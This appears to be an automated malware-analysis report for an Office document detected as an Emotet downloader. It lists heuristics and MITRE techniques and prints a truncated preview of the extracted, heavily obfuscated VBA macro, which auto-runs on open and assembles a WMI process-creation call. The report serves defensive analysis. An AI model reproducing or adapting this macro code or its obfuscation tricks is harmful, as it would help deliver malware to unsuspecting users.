MALICIOUS
202
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The file is identified as malicious by ClamAV with the signature 'Doc.Downloader.Emotet-9762248-0', indicating it's a downloader for the Emotet family. The presence of a Document_Open VBA macro that uses CreateObject strongly suggests it's designed to execute code. While the VBA code is heavily obfuscated, the overall pattern points to a macro-based downloader attempting to fetch and run a second-stage payload.
Heuristics 6
-
ClamAV: Doc.Downloader.Emotet-9762248-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Emotet-9762248-0
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject call
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 19085 bytes |
SHA-256: 399b09c8d74ca70c14382a3c60b3f313640ed0e229ce8a9c8a5d7036140d7260 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "Od7aj7ii3yu"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Aabss_m4wqfkk7j9j = Array(L8gr8mlqi6zt76_ve9 + "Wqxlpc4p9pxqSejwzte1gb3rdc Hlz2l1oq4w2pe8o" + Poj53wn7v5s, K75l_iew27f1lzra, K946e0s3qiq0.E1xogp5ojvcb, D_44bhc6j3z94grhzb + "Tpq743kzjttden0r5z Jy2r2rpz91ysxxujsz Aa3s5l1zvu6 Rt3zja01pncm_wb7")
End Sub
Attribute VB_Name = "K946e0s3qiq0"
Attribute VB_Base = "0{7360FF55-8F82-4AC4-AD2F-F221FF2EC042}{719ABFDD-AB5C-4908-AC5F-2478C1423F63}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function E1xogp5ojvcb()
On Error Resume Next
BnbGuGVJS = " 1M7L7DHMRVWZQ1TLKJSDT8BNh H6N2HL1Y0OQ97SPFKB4YW495KRJK86KX202VVRYMHGBWKOSPL2GN" _
+ "LuqAICDW2664JFV47G92MBMIT12DKLY8BA8TGEK468B0DW016URH0C3YJ9TO22EAXEXL1VUHSW7KH9UY9Y6PI8A52ICM" _
+ "jRhqQBhsD9EJKYG9PTSFP6LYVR4RVHEEULFAJCAT6IWLVR1JR6190N1CDU70UBVNL95PV083O2EM259698A7V87J6KLgQYI43KDU1F dOF9KMS615NdO6GR4J2IL43N7AS2C8W3jSV6wL8KXUSURL"
YrnScuQN = Mid(BnbGuGVJS, 263, 1)
NCaUFDcPwj = Mid(BnbGuGVJS, 174, 2)
ULKiimLwvrT = Mid(BnbGuGVJS, 27, 1)
FLzQCnriXm = Mid(BnbGuGVJS, 81, 2)
EXbzRwE = Mid(BnbGuGVJS, 311, 1)
XbIuPdBS = Mid(BnbGuGVJS, 274, 2)
jkjzsiz = Mid(BnbGuGVJS, 26, 1)
JPwYuNZPjzi = Mid(BnbGuGVJS, 307, 1)
OOijpW = Mid(BnbGuGVJS, 1, 1)
pQfRfj = Mid(BnbGuGVJS, 286, 1)
jUSALRJa = Mid(BnbGuGVJS, 178, 2)
jpOSVN = Mid(BnbGuGVJS, 172, 1)
WRQIpdJ = YrnScuQN + NCaUFDcPwj + ULKiimLwvrT + FLzQCnriXm
Vsxjr1c5ado9 = 90
BnbGuGVJS = " 1M7L7DHMRVWZQ1TLKJSDT8BNh H6N2HL1Y0OQ97SPFKB4YW495KRJK86KX202VVRYMHGBWKOSPL2GN" _
+ "LuqAICDW2664JFV47G92MBMIT12DKLY8BA8TGEK468B0DW016URH0C3YJ9TO22EAXEXL1VUHSW7KH9UY9Y6PI8A52ICM" _
+ "jRhqQBhsD9EJKYG9PTSFP6LYVR4RVHEEULFAJCAT6IWLVR1JR6190N1CDU70UBVNL95PV083O2EM259698A7V87J6KLgQYI43KDU1F dOF9KMS615NdO6GR4J2IL43N7AS2C8W3jSV6wL8KXUSURL"
YrnScuQN = Mid(BnbGuGVJS, 263, 1)
NCaUFDcPwj = Mid(BnbGuGVJS, 174, 2)
ULKiimLwvrT = Mid(BnbGuGVJS, 27, 1)
FLzQCnriXm = Mid(BnbGuGVJS, 81, 2)
EXbzRwE = Mid(BnbGuGVJS, 311, 1)
XbIuPdBS = Mid(BnbGuGVJS, 274, 2)
jkjzsiz = Mid(BnbGuGVJS, 26, 1)
JPwYuNZPjzi = Mid(BnbGuGVJS, 307, 1)
OOijpW = Mid(BnbGuGVJS, 1, 1)
pQfRfj = Mid(BnbGuGVJS, 286, 1)
jUSALRJa = Mid(BnbGuGVJS, 178, 2)
jpOSVN = Mid(BnbGuGVJS, 172, 1)
WRQIpdJ = YrnScuQN + NCaUFDcPwj + ULKiimLwvrT + FLzQCnriXm
L4ut2bk8ndd = Uu31311k_itw4xtw + Chr$(Vsxjr1c5ado9 + (25))
BnbGuGVJS = " 1M7L7DHMRVWZQ1TLKJSDT8BNh H6N2HL1Y0OQ97SPFKB4YW495KRJK86KX202VVRYMHGBWKOSPL2GN" _
+ "LuqAICDW2664JFV47G92MBMIT12DKLY8BA8TGEK468B0DW016URH0C3YJ9TO22EAXEXL1VUHSW7KH9UY9Y6PI8A52ICM" _
+ "jRhqQBhsD9EJKYG9PTSFP6LYVR4RVHEEULFAJCAT6IWLVR1JR6190N1CDU70UBVNL95PV083O2EM259698A7V87J6KLgQYI43KDU1F dOF9KMS615NdO6GR4J2IL43N7AS2C8W3jSV6wL8KXUSURL"
YrnScuQN = Mid(BnbGuGVJS, 263, 1)
NCaUFDcPwj = Mid(BnbGuGVJS, 174, 2)
ULKiimLwvrT = Mid(BnbGuGVJS, 27, 1)
FLzQCnriXm = Mid(BnbGuGVJS, 81, 2)
EXbzRwE = Mid(BnbGuGVJS, 311, 1)
XbIuPdBS = Mid(BnbGuGVJS, 274, 2)
jkjzsiz = Mid(BnbGuGVJS, 26, 1)
JPwYuNZPjzi = Mid(BnbGuGVJS, 307, 1)
OOijpW = Mid(BnbGuGVJS, 1, 1)
pQfRfj = Mid(BnbGuGVJS, 286, 1)
jUSALRJa = Mid(BnbGuGVJS, 178, 2)
jpOSVN = Mid(BnbGuGVJS, 172, 1)
WRQIpdJ = YrnScuQN + NCaUFDcPwj + ULKiimLwvrT + FLzQCnriXm
I1qgrr65mz8qdh5xwt = "PIZDECPIZDECwPIZDECiPIZDECnmPIZDECPIZDECgmPIZDECtPIZDECPIZDEC" + L4ut2bk8ndd + "PIZDECPIZDEC:PIZDECwPIZDECinPIZDECPIZDEC3PIZDEC2PIZDEC_PIZDEC" + K946e0s3qiq0.Hf52wyk07dr + "PIZDECroPIZDECPIZDECcePIZDECsPIZDECsPIZDEC"
BnbGuGVJS = " 1M7L7DHMRVWZQ1TLKJSDT8BNh H6N2HL1Y0OQ97SPFKB4YW495KRJK86KX202VVRYMHGBWKOSPL2GN" _
+ "LuqAICDW2664JFV47G92MBMIT12DKLY8BA8TGEK468B0DW016URH0C3YJ9TO22EAXEXL1VUHSW7KH9UY9Y6PI8A52ICM" _
+ "jRhqQBhsD9EJKYG9PTSFP6LYVR4RVHEEULFAJCAT6IWLVR1JR6190N1CDU70UBVNL95PV083O2EM259698A7V87J6KLgQYI43KDU1F dOF
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.